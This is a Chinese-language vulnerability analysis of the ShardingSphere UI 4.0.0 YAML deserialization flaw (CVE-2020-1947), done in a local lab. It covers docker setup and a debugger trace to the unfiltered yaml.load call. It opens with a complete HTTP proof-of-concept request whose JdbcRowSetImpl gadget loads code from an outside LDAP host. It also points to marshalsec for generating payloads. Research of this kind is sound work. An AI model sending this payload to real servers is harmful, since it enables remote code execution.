首先給出網上的poc:
POST /api/schema HTTP/1.1 Host: 127.0.0.1:8088 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Access-Token:你的登陸后的token Content-Length: 582 Origin: http://127.0.0.1:8088 DNT: 1 Connection: close Referer: http://127.0.0.1:8088/ {"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://.com/CommandObject\n autoCommit: true"}
前期准備:
docker——zookeeper
incubator-shardingsphere的二進制文件或者src源碼4.0.0.版本
https://shardingsphere.apache.org/document/current/cn/downloads/
啟動docker-zookeeper
docker pull zookeeper
docker run -d -p 2181:2181 --name one-zookeeper --restart always bbebb888169c
進入docker exec -it bd5f8ddd6d6e bash 運行./bin/zkCli.sh 檢查zookeeper是否正常。
當顯示welcome的時候,表示運行正常。
然后運行在二進制的bin目錄下的 start.sh文件里多加一些內容。
JAVA_OPTS=" -server -Xmx1g -Xms1g -Xmn512m -Xss256k -XX:+DisableExplicitGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:LargePageSizeInBytes=128m -XX:+UseFastAccessorMethods -XX:+UseCMSInitiatingOccupancyOnly -XX:CMSInitiatingOccupancyFraction=70 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 增加這一段,表示idea開啟debug到5005端口
然后運行啟動
打開127.0.0.1:8088,默認賬號密碼:admin/admin
注冊docker的zookeeper的地址
選擇激活
然后發送最上面的poc,將在dnslog上收到dns記錄。
jndi的利用方式就可以了,poc代碼像fastjson的反序列化鏈。所以本質也是一個反序列化的過程中,觸發了漏洞。修復當然也是對反序列化的實例的類進行白名單驗證。
接下來是漏洞原因分析
根據mvc的框架的經驗,找到控制器Controller類。
/java/sharding-ui-bin/lib/sharding-ui-backend-4.0.0.jar!/org/apache/shardingsphere/ui/web/controller/ShardingSchemaController.class
在43處打斷點
public ResponseResult addSchema(@RequestBody ShardingSchemaDTO shardingSchema) { this.shardingSchemaService.addSchemaConfiguration(shardingSchema.getName(), shardingSchema.getRuleConfiguration(), shardingSchema.getDataSourceConfiguration()); return ResponseResultUtil.success(); }
進入addSchemaConfiguration函數,在實現ShardingSchemaService接口的ShardingSchemaServiceImpl類里,
public void addSchemaConfiguration(String schemaName, String ruleConfiguration, String dataSourceConfiguration) { this.checkSchemaName(schemaName, this.getAllSchemaNames()); this.checkRuleConfiguration(ruleConfiguration); this.checkDataSourceConfiguration(dataSourceConfiguration); this.persistRuleConfiguration(schemaName, ruleConfiguration); this.persistDataSourceConfiguration(schemaName, dataSourceConfiguration); }
代碼很簡單,感覺就這幾行代碼里就跟到了。根據已有的dataSourceName,猜測觸發的地方應該是
this.checkDataSourceConfiguration(dataSourceConfiguration);
this.persistDataSourceConfiguration(schemaName, dataSourceConfiguration);
里。通過變量值也能看到dataSourceConfiguration里含有poc的代碼。
跟蹤第一個checkDataSourceConfiguration。
進入checkDataSourceConfiguration函數,看下代碼
private void checkDataSourceConfiguration(String configData) { try { Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData); Preconditions.checkState(!dataSourceConfigs.isEmpty(), "data source configuration is invalid."); } catch (Exception var3) { throw new IllegalArgumentException("data source configuration is invalid."); } }
ConfigurationYamlConverter.loadDataSourceConfigurations(configData);看函數名是加載配置data。configData的值是:
進去跟進loadDataSourceConfigurations
public static Map<String, DataSourceConfiguration> loadDataSourceConfigurations(String data) { Map<String, YamlDataSourceConfiguration> result = YamlEngine.unmarshal(data); Preconditions.checkState(null != result && !result.isEmpty(), "No available data sources to load for orchestration."); return Maps.transformValues(result, new Function<YamlDataSourceConfiguration, DataSourceConfiguration>() { public DataSourceConfiguration apply(YamlDataSourceConfiguration input) { return (new DataSourceConfigurationYamlSwapper()).swap(input); } }); }
YamlEngine.unmarshal(data);這塊,
public static Map<?, ?> unmarshal(String yamlContent) { return (Map)(Strings.isNullOrEmpty(yamlContent) ? new LinkedHashMap() : (Map)(new Yaml()).load(yamlContent)); }
非空的話,yaml().load就yamlContent。
那就沒問題了,沒有任何過濾,那就是yaml反序列化導致的rce。
yaml反序列化話可以學習一下這篇文章。https://zhuanlan.zhihu.com/p/84957848
也可以用marshalsec.SnakeYAML生成poc。注意poc合適,snakeYAML對空格什么的格式很敏感。